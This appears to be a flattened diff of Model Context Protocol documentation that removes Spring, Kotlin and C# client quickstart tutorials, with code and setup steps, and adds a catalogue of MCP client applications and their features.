@apify/mcpc`. + - ```bash theme={null} - ./mvnw spring-boot:run - ``` + + MCPHub is a powerful Neovim plugin that integrates MCP (Model Context Protocol) servers into your workflow. - The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries. + **Key features:** - The chatbot can: + * Install, configure and manage MCP servers with an intuitive UI. + * Built-in Neovim MCP server with support for file operations (read, write, search, replace), command execution, terminal integration, LSP integration, buffers, and diagnostics. + * Create Lua-based MCP servers directly in Neovim. + * Integrates with popular Neovim chat plugins Avante.nvim and CodeCompanion.nvim + - * Answer questions using its built-in knowledge - * Perform web searches when needed using Brave Search - * Remember context from previous messages in the conversation - * Combine information from multiple sources to provide comprehensive answers + + MCPJam Inspector is the local development client for ChatGPT apps, MCP ext-apps, and MCP servers. - ### Advanced Configuration + **Key features:** - The MCP client supports additional configuration options: + * Local emulator for ChatGPT Apps SDK and MCP ext-apps. No more ChatGPT subscription or ngrok needed. + * OAuth debugger to visually inspect MCP server OAuth at every step. + * LLM playground to chat with your MCP server against any LLM. We provide our own API tokens for free. + * Connect, test, and inspect any MCP server that's local or remote. Manually invoke MCP tools, resource, prompts, etc. View all JSON-RPC logs. + * Supports all transports - STDIO, SSE, and Streamable HTTP. + - * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer` - * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events) - * Integration with Spring AI's tool execution framework - * Automatic client initialization and lifecycle management + + MCPOmni-Connect is a versatile command-line interface (CLI) client designed to connect to various Model Context Protocol (MCP) servers using both stdio and SSE transport. - For WebFlux-based applications, you can use the WebFlux starter instead: + **Key features:** - ```xml theme={null} - - org.springframework.ai - spring-ai-mcp-client-webflux-spring-boot-starter - - ``` + * Support for resources, prompts, tools, and sampling + * Agentic mode with ReAct and orchestrator capabilities + * Seamless integration with OpenAI models and other LLMs + * Dynamic tool and resource management across multiple servers + * Support for both stdio and SSE transport protocols + * Comprehensive tool orchestration and resource analysis capabilities + - This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments. - + + Memex is the first MCP client and MCP server builder - all-in-one desktop app. Unlike traditional MCP clients that only consume existing servers, Memex can create custom MCP servers from natural language prompts, immediately integrate them into its toolkit, and use them to solve problems—all within a single conversation. - - [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client) + **Key features:** - ## System Requirements + * **Prompt-to-MCP Server**: Generate fully functional MCP servers from natural language descriptions + * **Self-Testing & Debugging**: Autonomously test, debug, and improve created MCP servers + * **Universal MCP Client**: Works with any MCP server through intuitive, natural language integration + * **Curated MCP Directory**: Access to tested, one-click installable MCP servers (Neon, Netlify, GitHub, Context7, and more) + * **Multi-Server Orchestration**: Leverage multiple MCP servers simultaneously for complex workflows - Before starting, ensure your system meets these requirements: + **Learn more:** - * Java 17 or higher - * Anthropic API key (Claude) + * [Memex Launch 2: MCP Teams and Agent API](https://memex.tech/blog/memex-launch-2-mcp-teams-and-agent-api-private-preview-125f) + - ## Setting up your environment + + [Memgraph Lab](https://memgraph.com/lab) is a visualization and management tool for Memgraph graph databases. Its [GraphChat](https://memgraph.com/docs/memgraph-lab/features/graphchat) feature lets you query graph data using natural language, with MCP server integrations to extend your AI workflows. - First, let's install `java` and `gradle` if you haven't already. - You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/). - Verify your `java` installation: + **Key features:** - ```bash theme={null} - java --version - ``` + * Build GraphRAG workflows powered by knowledge graphs as the data backbone + * Connect remote MCP servers via `SSE` or `Streamable HTTP` + * Support for MCP resources, prompts, tools, sampling, elicitation, and instructions + * Create multiple agents with different configurations for easy comparison and debugging + * Works with various LLM providers (OpenAI, Azure OpenAI, Anthropic, Gemini, Ollama, DeepSeek) + * Available as a Desktop app or Docker container - Now, let's create and set up your project: + **Learn more:** - - ```bash macOS/Linux theme={null} - # Create a new directory for our project - mkdir kotlin-mcp-client - cd kotlin-mcp-client + * [Memgraph Lab: MCP integration](https://memgraph.com/docs/memgraph-lab/features/graphchat#mcp-servers) + - # Initialize a new kotlin project - gradle init - ``` + + Microsoft Copilot Studio is a robust SaaS platform designed for building custom AI-driven applications and intelligent agents, empowering developers to create, deploy, and manage sophisticated AI solutions. - ```powershell Windows theme={null} - # Create a new directory for our project - md kotlin-mcp-client - cd kotlin-mcp-client - # Initialize a new kotlin project - gradle init - ``` - + **Key features:** - After running `gradle init`, you will be presented with options for creating your project. - Select **Application** as the project type, **Kotlin** as the programming language, and **Java 17** as the Java version. + * Support for MCP tools + * Extend Copilot Studio agents with MCP servers + * Leveraging Microsoft unified, governed, and secure API management solutions + - Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html). + + MindPal is a no-code platform for building and running AI agents and multi-agent workflows for business processes. - After creating the project, add the following dependencies: + **Key features:** - - ```kotlin build.gradle.kts theme={null} - val mcpVersion = "0.4.0" - val slf4jVersion = "2.0.9" - val anthropicVersion = "0.8.0" + * Build custom AI agents with no-code + * Connect any SSE MCP server to extend agent tools + * Create multi-agent workflows for complex business processes + * User-friendly for both technical and non-technical professionals + * Ongoing development with continuous improvement of MCP support - dependencies { - implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") - implementation("org.slf4j:slf4j-nop:$slf4jVersion") - implementation("com.anthropic:anthropic-java:$anthropicVersion") - } - ``` + **Learn more:** - ```groovy build.gradle theme={null} - def mcpVersion = '0.3.0' - def slf4jVersion = '2.0.9' - def anthropicVersion = '0.8.0' - dependencies { - implementation "io.modelcontextprotocol:kotlin-sdk:$mcpVersion" - implementation "org.slf4j:slf4j-nop:$slf4jVersion" - implementation "com.anthropic:anthropic-java:$anthropicVersion" - } - ``` - + * [MindPal MCP Documentation](https://docs.mindpal.io/agent/mcp) + - Also, add the following plugins to your build script: + + Mistral AI: Le Chat is Mistral AI assistant with MCP support for remote servers and enterprise workflows. - - ```kotlin build.gradle.kts theme={null} - plugins { - id("com.gradleup.shadow") version "8.3.9" - } - ``` + **Key features:** - ```groovy build.gradle theme={null} - plugins { - id 'com.gradleup.shadow' version '8.3.9' - } - ``` - + * Remote MCP server integration + * Enterprise-grade security + * Low-latency, high-throughput interactions with structured data - ## Setting up your API key + **Learn more:** - You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). + * [Mistral MCP Documentation](https://help.mistral.ai/en/collections/911943-connectors) + - Set up your API key: + + modelcontextchat.com is a web-based MCP client designed for working with remote MCP servers, featuring comprehensive authentication support and integration with OpenRouter. - ```bash theme={null} - export ANTHROPIC_API_KEY='your-anthropic-api-key-here' - ``` + **Key features:** - - Make sure you keep your `ANTHROPIC_API_KEY` secure! - + * Web-based interface for remote MCP server connections + * Header-based Authorization support for secure server access + * OAuth authentication integration + * OpenRouter API Key support for accessing various LLM providers + * No installation required - accessible from any web browser + - ## Creating the Client + + MooPoint is a web-based AI chat platform built for developers and advanced users, letting you interact with multiple large language models (LLMs) through a single, unified interface. Connect your own API keys (OpenAI, Anthropic, and more) and securely manage custom MCP server integrations. - ### Basic Client Structure + **Key features:** - First, let's create the basic client class: + * Accessible from any PC or smartphone—no installation required + * Choose your preferred LLM provider + * Supports `SSE`, `Streamable HTTP`, `npx`, and `uvx` MCP servers + * OAuth and sampling support + * New features added daily + - ```kotlin theme={null} - class MCPClient : AutoCloseable { - private val anthropic = AnthropicOkHttpClient.fromEnv() - private val mcp: Client = Client(clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")) - private lateinit var tools: List + + Msty Studio is a privacy-first AI productivity platform that seamlessly integrates local and online language models (LLMs) into customizable workflows. Designed for both technical and non-technical users, Msty Studio offers a suite of tools to enhance AI interactions, automate tasks, and maintain full control over data and model behavior. - // methods will go here + **Key features:** - override fun close() { - runBlocking { - mcp.close() - anthropic.close() - } - } - ``` + * **Toolbox & Toolsets**: Connect AI models to local tools and scripts using MCP-compliant configurations. Group tools into Toolsets to enable dynamic, multi-step workflows within conversations. + * **Turnstiles**: Create automated, multi-step AI interactions, allowing for complex data processing and decision-making flows. + * **Real-Time Data Integration**: Enhance AI responses with up-to-date information by integrating real-time web search capabilities. + * **Split Chats & Branching**: Engage in parallel conversations with multiple models simultaneously, enabling comparative analysis and diverse perspectives. - ### Server connection management + **Learn more:** - Next, we'll implement the method to connect to an MCP server: + * [Msty Studio Documentation](https://docs.msty.studio/features/toolbox/tools) + - ```kotlin theme={null} - suspend fun connectToServer(serverScriptPath: String) { - try { - val command = buildList { - when (serverScriptPath.substringAfterLast(".")) { - "js" -> add("node") - "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3") - "jar" -> addAll(listOf("java", "-jar")) - else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file") - } - add(serverScriptPath) - } + + Needle is a RAG workflow platform that also works as an MCP client, letting you connect and use MCP servers in seconds. - val process = ProcessBuilder(command).start() - val transport = StdioClientTransport( - input = process.inputStream.asSource().buffered(), - output = process.outputStream.asSink().buffered() - ) + **Key features:** - mcp.connect(transport) - - val toolsResult = mcp.listTools() - tools = toolsResult?.tools?.map { tool -> - ToolUnion.ofTool( - Tool.builder() - .name(tool.name) - .description(tool.description ?: "") - .inputSchema( - Tool.InputSchema.builder() - .type(JsonValue.from(tool.inputSchema.type)) - .properties(tool.inputSchema.properties.toJsonValue()) - .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required)) - .build() - ) - .build() - ) - } ?: emptyList() - println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}") - } catch (e: Exception) { - println("Failed to connect to MCP server: $e") - throw e - } - } - ``` + * **Instant MCP integration:** Connect any remote MCP server to your collection in seconds + * **Built-in RAG:** Automatically get retrieval-augmented generation out of the box + * **Secure OAuth:** Safe, token-based authorization when connecting to servers + * **Smart previews:** See what each MCP server can do and selectively enable the tools you need - Also create a helper function to convert from `JsonObject` to `JsonValue` for Anthropic: + **Learn more:** - ```kotlin theme={null} - private fun JsonObject.toJsonValue(): JsonValue { - val mapper = ObjectMapper() - val node = mapper.readTree(this.toString()) - return JsonValue.fromJsonNode(node) - } - ``` + * [Getting Started](https://docs.needle.app/docs/guides/hello-needle/getting-started/) + - ### Query processing logic + + NVIDIA Agent Intelligence (AIQ) toolkit is a flexible, lightweight, and unifying library that allows you to easily connect existing enterprise agents to data sources and tools across any framework. - Now let's add the core functionality for processing queries and handling tool calls: + **Key features:** - ```kotlin theme={null} - private val messageParamsBuilder: MessageCreateParams.Builder = MessageCreateParams.builder() - .model(Model.CLAUDE_SONNET_4_20250514) - .maxTokens(1024) + * Acts as an MCP **client** to consume remote tools + * Acts as an MCP **server** to expose tools + * Framework agnostic and compatible with LangChain, CrewAI, Semantic Kernel, and custom agents + * Includes built-in observability and evaluation tools - suspend fun processQuery(query: String): String { - val messages = mutableListOf( - MessageParam.builder() - .role(MessageParam.Role.USER) - .content(query) - .build() - ) + **Learn more:** - val response = anthropic.messages().create( - messageParamsBuilder - .messages(messages) - .tools(tools) - .build() - ) + * [AIQ toolkit MCP documentation](https://docs.nvidia.com/aiqtoolkit/latest/workflows/mcp/index.html) + - val finalText = mutableListOf() - response.content().forEach { content -> - when { - content.isText() -> finalText.add(content.text().getOrNull()?.text() ?: "") + + OpenCode is an open source AI coding agent. It’s available as a terminal-based interface, desktop app, or IDE extension. - content.isToolUse() -> { - val toolName = content.toolUse().get().name() - val toolArgs = - content.toolUse().get()._input().convert(object : TypeReference>() {}) + **Key features:** - val result = mcp.callTool( - name = toolName, - arguments = toolArgs ?: emptyMap() - ) - finalText.add("[Calling tool $toolName with args $toolArgs]") + * Support for MCP tools + * Support for MCP resources in the cli using `@` prefix + * Support for MCP prompts in the cli as slash commands using `/` prefix + - messages.add( - MessageParam.builder() - .role(MessageParam.Role.USER) - .content( - """ - "type": "tool_result", - "tool_name": $toolName, - "result": ${result?.content?.joinToString("\n") { (it as TextContent).text ?: "" }} - """.trimIndent() - ) - .build() - ) + + OpenSumi is a framework helps you quickly build AI Native IDE products. - val aiResponse = anthropic.messages().create( - messageParamsBuilder - .messages(messages) - .build() - ) + **Key features:** - finalText.add(aiResponse.content().first().text().getOrNull()?.text() ?: "") - } - } - } - - return finalText.joinToString("\n", prefix = "", postfix = "") - } - ``` + * Supports MCP tools in OpenSumi + * Supports built-in IDE MCP servers and custom MCP servers + - ### Interactive chat + + oterm is a terminal client for Ollama allowing users to create chats/agents. - We'll add the chat loop: + **Key features:** - ```kotlin theme={null} - suspend fun chatLoop() { - println("\nMCP Client Started!") - println("Type your queries or 'quit' to exit.") + * Support for multiple fully customizable chat sessions with Ollama connected with tools. + * Support for MCP tools. + - while (true) { - print("\nQuery: ") - val message = readLine() ?: break - if (message.lowercase() == "quit") break - val response = processQuery(message) - println("\n$response") - } - } - ``` + + Postman is the most popular API client and now supports MCP server testing and debugging. - ### Main entry point + **Key features:** - Finally, we'll add the main execution function: + * Full support of all major MCP features (tools, prompts, resources, and subscriptions) + * Fast, seamless UI for debugging MCP capabilities + * MCP config integration (Claude, VSCode, etc.) for fast first-time experience in testing MCPs + * Integration with history, variables, and collections for reuse and collaboration + - ```kotlin theme={null} - fun main(args: Array) = runBlocking { - if (args.isEmpty()) throw IllegalArgumentException("Usage: java -jar /build/libs/kotlin-mcp-client-0.1.0-all.jar ") - val serverPath = args.first() - val client = MCPClient() - client.use { - client.connectToServer(serverPath) - client.chatLoop() - } - } - ``` + + Proxyman is a native macOS app for HTTP debugging and network monitoring. It now includes an MCP Server that enables AI assistants (Claude, Cursor, and other MCP-compatible tools) to directly interact with Proxyman for inspecting HTTP traffic, creating debugging rules, and controlling the app through natural language. - ## Running the client + **Key features:** - To run your client with any MCP server: + * **AI-Powered Debugging**: Ask AI to analyze captured traffic, find specific requests, or explain API responses + * **Hands-Free Rule Creation**: Create breakpoints, map local/remote rules through conversation + * **Traffic Inspection Tools**: Get flows, flow details, export cURL commands, and filter traffic with multiple criteria + * **Session Control**: Clear sessions, toggle recording, and manage SSL proxying domains + * **Secure by Design**: Localhost-only server with per-session token authentication - ```bash theme={null} - ./gradlew build + **Learn more:** - # Run the client - java -jar build/libs/.jar path/to/server.jar # jvm server - java -jar build/libs/.jar path/to/server.py # python server - java -jar build/libs/.jar path/to/build/index.js # node server - ``` + * [Proxyman MCP Documentation](https://docs.proxyman.com/mcp) + * [Proxyman Website](https://proxyman.com) + - - If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar .../samples/weather-stdio-server/build/libs/weather-stdio-server-0.1.0-all.jar` - + + Qoder is a next-generation agentic coding platform by Alibaba, engineered for real-world software development. By combining enhanced context engineering with autonomous agents, it provides deep awareness of very large codebases and can support workflows ranging from co-pilot assistance to fully autonomous coding. - **The client will:** + **Key features:** - 1. Connect to the specified server - 2. List available tools - 3. Start an interactive chat session where you can: - * Enter queries - * See tool executions - * Get responses from Claude + * **Agent Mode**: High-efficiency single-agent collaboration that autonomously decides actions from project context, including cross-file refactoring, debugging, and feature iteration. + * **Experts Mode**: Multi-agent orchestration that decomposes complex requirements and delegates to a virtual expert team (Design, Implementation, Testing, QA) for parallel execution. + * **Quest Mode**: Fully autonomous end-to-end coding from goal definition through requirement clarification, planning, execution, and validation with a comprehensive final report. + * **Engineering Knowledge Engine**: Repo Wiki-powered architecture understanding that gives agents full codebase awareness and alignment with project standards. + * **Memory Engine**: Persistent memory for developer preferences, project conventions, and historical interactions to improve alignment over time. + - ## How it works + + RecurseChat is a powerful, fast, local-first chat client with MCP support. RecurseChat supports multiple AI providers including LLaMA.cpp, Ollama, and OpenAI, Anthropic. - Here's a high-level workflow schema: + **Key features:** - ```mermaid theme={null} - --- - config: - theme: neutral - --- - sequenceDiagram - actor User - participant Client - participant Claude - participant MCP_Server as MCP Server - participant Tools + * Local AI: Support MCP with Ollama models. + * MCP Tools: Individual MCP server management. Easily visualize the connection states of MCP servers. + * MCP Import: Import configuration from Claude Desktop app or JSON - User->>Client: Send query - Client<<->>MCP_Server: Get available tools - Client->>Claude: Send query with tool descriptions - Claude-->>Client: Decide tool execution - Client->>MCP_Server: Request tool execution - MCP_Server->>Tools: Execute chosen tools - Tools-->>MCP_Server: Return results - MCP_Server-->>Client: Send results - Client->>Claude: Send tool results - Claude-->>Client: Provide final response - Client-->>User: Display response - ``` + **Learn more:** - When you submit a query: + * [RecurseChat docs](https://recurse.chat/docs/features/mcp/) + - 1. The client gets the list of available tools from the server - 2. Your query is sent to Claude along with tool descriptions - 3. Claude decides which tools (if any) to use - 4. The client executes any requested tool calls through the server - 5. Results are sent back to Claude - 6. Claude provides a natural language response - 7. The response is displayed to you + + Replit Agent is an AI-powered software development tool that builds and deploys applications through natural language. It supports MCP integration, enabling users to extend the agent's capabilities with custom tools and data sources. - ## Best practices + **Learn more:** - 1. **Error Handling** - * Leverage Kotlin's type system to model errors explicitly - * Wrap external tool and API calls in `try-catch` blocks when exceptions are possible - * Provide clear and meaningful error messages - * Handle network timeouts and connection issues gracefully + * [Replit MCP Documentation](https://docs.replit.com/replitai/mcp/overview) + * [MCP Install Links](https://docs.replit.com/replitai/mcp/install-links) + - 2. **Security** - * Store API keys and secrets securely in `local.properties`, environment variables, or secret managers - * Validate all external responses to avoid unexpected or unsafe data usage - * Be cautious with permissions and trust boundaries when using tools + + Roo Code enables AI coding assistance via MCP. - ## Troubleshooting + **Key features:** - ### Server Path Issues + * Support for MCP tools and resources + * Integration with development workflows + * Extensible AI capabilities + - * Double-check the path to your server script is correct - * Use the absolute path if the relative path isn't working - * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path - * Make sure that the required runtime is installed (java for Java, npm for Node.js, or uv for Python) - * Verify the server file has the correct extension (.jar for Java, .js for Node.js or .py for Python) + + [Runbear](https://runbear.io) is an AI agent platform for Slack and Microsoft Teams that acts as a managed MCP host. It enables teams to connect 2,000+ tools (HubSpot, Linear, NetSuite, etc.) to their chat workspace using the Model Context Protocol. - Example of correct path usage: + **Key features:** - ```bash theme={null} - # Relative path - java -jar build/libs/client.jar ./server/build/libs/server.jar + * **Managed MCP Servers**: Out-of-the-box support for HubSpot, Linear, and more. + * **Secure Hosting**: SOC 2 Type II compliant environment for MCP operations. + * **Cross-Platform**: Access your MCP tools from Slack, Teams, and HubSpot. + * **Vast Integration Library**: Connect to 2,000+ tools via native integrations and custom MCP servers. + - # Absolute path - java -jar build/libs/client.jar /Users/username/projects/mcp-server/build/libs/server.jar + + [rtrvr.ai](https://rtrvr.ai) is AI Web Agent Chrome Extension that autonomously runs complex browser workflows, retrieves data to Sheets, and calls API's/MCP Servers – all with just prompting and within your own browser! - # Windows path (either format works) - java -jar build/libs/client.jar C:/projects/mcp-server/build/libs/server.jar - java -jar build/libs/client.jar C:\\projects\\mcp-server\\build\\libs\\server.jar - ``` + **Key features:** - ### Response Timing + * Easy MCP Integration within your browser: Just open the Chrome Extension, add the server URL, and prompt server calls with the web as context! + * Remote control your browser by turning your browser into MCP Server: Just copy/paste MCP URL into any MCP Client (no npx needed), and trigger agentic browser workflows! + * Prompt our agent to execute workflows combining web agentic actions with MCP tool calls; find someone's email on the web and then send them an email with Zapier MCP. + * Reusable and Schedulable Automations: After running a workflow, easily rerun or put on a schedule to execute in the background while you do other tasks in your browser. + - * The first response might take up to 30 seconds to return - * This is normal and happens while: - * The server initializes - * Claude processes the query - * Tools are being executed - * Subsequent responses are typically faster - * Don't interrupt the process during this initial waiting period + + Shortwave is an AI-powered email client that supports MCP tools to enhance email productivity and workflow automation. - ### Common Error Messages + **Key features:** - If you see: + * MCP tool integration for enhanced email workflows + * Rich UI for adding, managing and interacting with a wide range of MCP servers + * Support for both remote (Streamable HTTP and SSE) and local (Stdio) MCP servers + * AI assistance for managing your emails, calendar, tasks and other third-party services + - * `Connection refused`: Ensure the server is running and the path is correct - * `Tool execution failed`: Verify the tool's required environment variables are set - * `ANTHROPIC_API_KEY is not set`: Check your environment variables - + + Simtheory is an agentic AI workspace that unifies multiple AI models, tools, and capabilities under a single subscription. It provides comprehensive MCP support through its MCP Store, allowing users to extend their workspace with productivity tools and integrations. - - [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient) + **Key features:** - ## System Requirements + * **MCP Store**: Marketplace for productivity tools and MCP server integrations + * **Parallel Tasking**: Run multiple AI tasks simultaneously with MCP tool support + * **Model Catalogue**: Access to frontier models with MCP tool integration + * **Hosted MCP Servers**: Plug-and-play MCP integrations with no technical setup + * **Advanced MCPs**: Specialized tools like Tripo3D (3D creation), Podcast Maker, and Video Maker + * **Enterprise Ready**: Flexible workspaces with granular access control for MCP tools - Before starting, ensure your system meets these requirements: + **Learn more:** - * .NET 8.0 or higher - * Anthropic API key (Claude) - * Windows, Linux, or macOS + * [Simtheory website](https://simtheory.ai) + - ## Setting up your environment + + Slack MCP Client acts as a bridge between Slack and Model Context Protocol (MCP) servers. Using Slack as the interface, it enables large language models (LLMs) to connect and interact with various MCP servers through standardized MCP tools. - First, create a new .NET project: + **Key features:** - ```bash theme={null} - dotnet new console -n QuickstartClient - cd QuickstartClient - ``` + * **Supports Popular LLM Providers:** Integrates seamlessly with leading large language model providers such as OpenAI, Anthropic, and Ollama, allowing users to leverage advanced conversational AI and orchestration capabilities within Slack. + * **Dynamic and Secure Integration:** Supports dynamic registration of MCP tools, works in both channels and direct messages and manages credentials securely via environment variables or Kubernetes secrets. + * **Easy Deployment and Extensibility:** Offers official Docker images, a Helm chart for Kubernetes, and Docker Compose for local development, making it simple to deploy, configure, and extend with additional MCP servers or tools. + - Then, add the required dependencies to your project: + + Smithery Playground is a developer-first MCP client for exploring, testing and debugging MCP servers against LLMs. It provides detailed traces of MCP RPCs to help troubleshoot implementation issues. - ```bash theme={null} - dotnet add package ModelContextProtocol --prerelease - dotnet add package Anthropic.SDK - dotnet add package Microsoft.Extensions.Hosting - dotnet add package Microsoft.Extensions.AI - ``` + **Key features:** - ## Setting up your API key + * One-click connect to MCP servers via URL or from Smithery's registry + * Develop MCP servers that are running on localhost + * Inspect tools, prompts, resources, and sampling configurations with live previews + * Run conversational or raw tool calls to verify MCP behavior before shipping + * Full OAuth MCP-spec support + - You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). + + SpinAI is an open-source TypeScript framework for building observable AI agents. The framework provides native MCP compatibility, allowing agents to seamlessly integrate with MCP servers and tools. - ```bash theme={null} - dotnet user-secrets init - dotnet user-secrets set "ANTHROPIC_API_KEY" "" - ``` + **Key features:** - ## Creating the Client + * Built-in MCP compatibility for AI agents + * Open-source TypeScript framework + * Observable agent architecture + * Native support for MCP tools integration + - ### Basic Client Structure + + Superinterface is AI infrastructure and a developer platform to build in-app AI assistants with support for MCP, interactive components, client-side function calling and more. - First, let's setup the basic client class in the file `Program.cs`: + **Key features:** - ```csharp theme={null} - using Anthropic.SDK; - using Microsoft.Extensions.AI; - using Microsoft.Extensions.Configuration; - using Microsoft.Extensions.Hosting; - using ModelContextProtocol.Client; - using ModelContextProtocol.Protocol.Transport; - - var builder = Host.CreateApplicationBuilder(args); + * Use tools from MCP servers in assistants embedded via React components or script tags + * SSE transport support + * Use any AI model from any AI provider (OpenAI, Anthropic, Ollama, others) + - builder.Configuration - .AddEnvironmentVariables() - .AddUserSecrets(); - ``` + + Superjoin brings the power of MCP directly into Google Sheets extension. With Superjoin, users can access and invoke MCP tools and agents without leaving their spreadsheets, enabling powerful AI workflows and automation right where their data lives. - This creates the beginnings of a .NET console application that can read the API key from user secrets. + **Key features:** - Next, we'll setup the MCP Client: + * Native Google Sheets add-on providing effortless access to MCP capabilities + * Supports OAuth 2.1 and header-based authentication for secure and flexible connections + * Compatible with both SSE and Streamable HTTP transport for efficient, real-time streaming communication + * Fully web-based, cross-platform client requiring no additional software installation + - ```csharp theme={null} - var (command, arguments) = GetCommandAndArguments(args); + + Swarms is a production-grade multi-agent orchestration framework that supports MCP integration for dynamic tool discovery and execution. - var clientTransport = new StdioClientTransport(new() - { - Name = "Demo Server", - Command = command, - Arguments = arguments, - }); + **Key features:** - await using var mcpClient = await McpClient.CreateAsync(clientTransport); + * Connects to MCP servers via SSE transport for real-time tool integration + * Automatic tool discovery and loading from MCP servers + * Support for distributed tool functionality across multiple agents + * Enterprise-ready with high availability and observability features + * Modular architecture supporting multiple AI model providers - var tools = await mcpClient.ListToolsAsync(); - foreach (var tool in tools) - { - Console.WriteLine($"Connected to server with tools: {tool.Name}"); - } - ``` + **Learn more:** - Add this function at the end of the `Program.cs` file: + * [Swarms MCP Integration Documentation](https://docs.swarms.world/en/latest/swarms/tools/tools_examples/) + - ```csharp theme={null} - static (string command, string[] arguments) GetCommandAndArguments(string[] args) - { - return args switch - { - [var script] when script.EndsWith(".py") => ("python", args), - [var script] when script.EndsWith(".js") => ("node", args), - [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]), - _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj") - }; - } - ``` + + systemprompt is a voice-controlled mobile app that manages your MCP servers. Securely leverage MCP agents from your pocket. Available on iOS and Android. - This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server. + **Key features:** - ### Query processing logic + * **Native Mobile Experience**: Access and manage your MCP servers anytime, anywhere on both Android and iOS devices + * **Advanced AI-Powered Voice Recognition**: Sophisticated voice recognition engine enhanced with cutting-edge AI and Natural Language Processing (NLP), specifically tuned to understand complex developer terminology and command structures + * **Unified Multi-MCP Server Management**: Effortlessly manage and interact with multiple Model Context Protocol (MCP) servers from a single, centralized mobile application + - Now let's add the core functionality for processing queries and handling tool calls: + + Tambo is a platform for building custom chat experiences in React, with integrated custom user interface components. - ```csharp theme={null} - using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"])) - .Messages - .AsBuilder() - .UseFunctionInvocation() - .Build(); + **Key features:** - var options = new ChatOptions - { - MaxOutputTokens = 1000, - ModelId = "claude-sonnet-4-20250514", - Tools = [.. tools] - }; + * Hosted platform with React SDK for integrating chat or other LLM-based experiences into your own app. + * Support for selection of arbitrary React components in the chat experience, with state management and tool calling. + * Support for MCP servers, from Tambo's servers or directly from the browser. + * Supports OAuth 2.1 and custom header-based authentication. + * Support for MCP tools and sampling, with additional MCP features coming soon. + - Console.ForegroundColor = ConsoleColor.Green; - Console.WriteLine("MCP Client Started!"); - Console.ResetColor(); + + Tencent CloudBase AI DevKit is a tool for building AI agents in minutes, featuring zero-code tools, secure data integration, and extensible plugins via MCP. - PromptForInput(); - while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase)) - { - if (string.IsNullOrWhiteSpace(query)) - { - PromptForInput(); - continue; - } + **Key features:** - await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options)) - { - Console.Write(message); - } - Console.WriteLine(); + * Support for MCP tools + * Extend agents with MCP servers + * MCP servers hosting: serverless hosting and authentication support + - PromptForInput(); - } + + Theia AI is a framework for building AI-enhanced tools and IDEs. The [AI-powered Theia IDE](https://eclipsesource.com/blogs/2024/10/08/introducting-ai-theia-ide/) is an open and flexible development environment built on Theia AI. - static void PromptForInput() - { - Console.WriteLine("Enter a command (or 'exit' to quit):"); - Console.ForegroundColor = ConsoleColor.Cyan; - Console.Write("> "); - Console.ResetColor(); - } - ``` + **Key features:** - ## Key Components Explained + * **Tool Integration**: Theia AI enables AI agents, including those in the Theia IDE, to utilize MCP servers for seamless tool interaction. + * **Customizable Prompts**: The Theia IDE allows users to define and adapt prompts, dynamically integrating MCP servers for tailored workflows. + * **Custom agents**: The Theia IDE supports creating custom agents that leverage MCP capabilities, enabling users to design dedicated workflows on the fly. - ### 1. Client Initialization + Theia AI and Theia IDE's MCP integration provide users with flexibility, making them powerful platforms for exploring and adapting MCP. - * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server. + **Learn more:** - ### 2. Server Connection + * [Theia IDE and Theia AI MCP Announcement](https://eclipsesource.com/blogs/2024/12/19/theia-ide-and-theia-ai-support-mcp/) + * [Download the AI-powered Theia IDE](https://theia-ide.org/) + - * Supports Python, Node.js, and .NET servers. - * The server is started using the command specified in the arguments. - * Configures to use stdio for communication with the server. - * Initializes the session and available tools. + + Tome is an open source cross-platform desktop app designed for working with local LLMs and MCP servers. It is designed to be beginner friendly and abstract away the nitty gritty of configuration for people getting started with MCP. - ### 3. Query Processing + **Key features:** - * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client. - * Configures the `IChatClient` to use automatic tool (function) invocation. - * The client reads user input and sends it to the server. - * The server processes the query and returns a response. - * The response is displayed to the user. + * MCP servers are managed by Tome so there is no need to install uv or npm or configure JSON + * Users can quickly add or remove MCP servers via UI + * Any tool-supported local model on Ollama is compatible + - ## Running the Client + + TypingMind is an advanced frontend for LLMs with MCP support. TypingMind supports all popular LLM providers like OpenAI, Gemini, Claude, and users can use with their own API keys. - To run your client with any MCP server: + **Key features:** - ```bash theme={null} - dotnet run -- path/to/server.csproj # dotnet server - dotnet run -- path/to/server.py # python server - dotnet run -- path/to/server.js # node server - ``` + * **MCP Tool Integration**: Once MCP is configured, MCP tools will show up as plugins that can be enabled/disabled easily via the main app interface. + * **Assign MCP Tools to Agents**: TypingMind allows users to create AI agents that have a set of MCP servers assigned. + * **Remote MCP servers**: Allows users to customize where to run the MCP servers via its MCP Connector configuration, allowing the use of MCP tools across multiple devices (laptop, mobile devices, etc.) or control MCP servers from a remote private server. - - If you're continuing the weather tutorial from the server 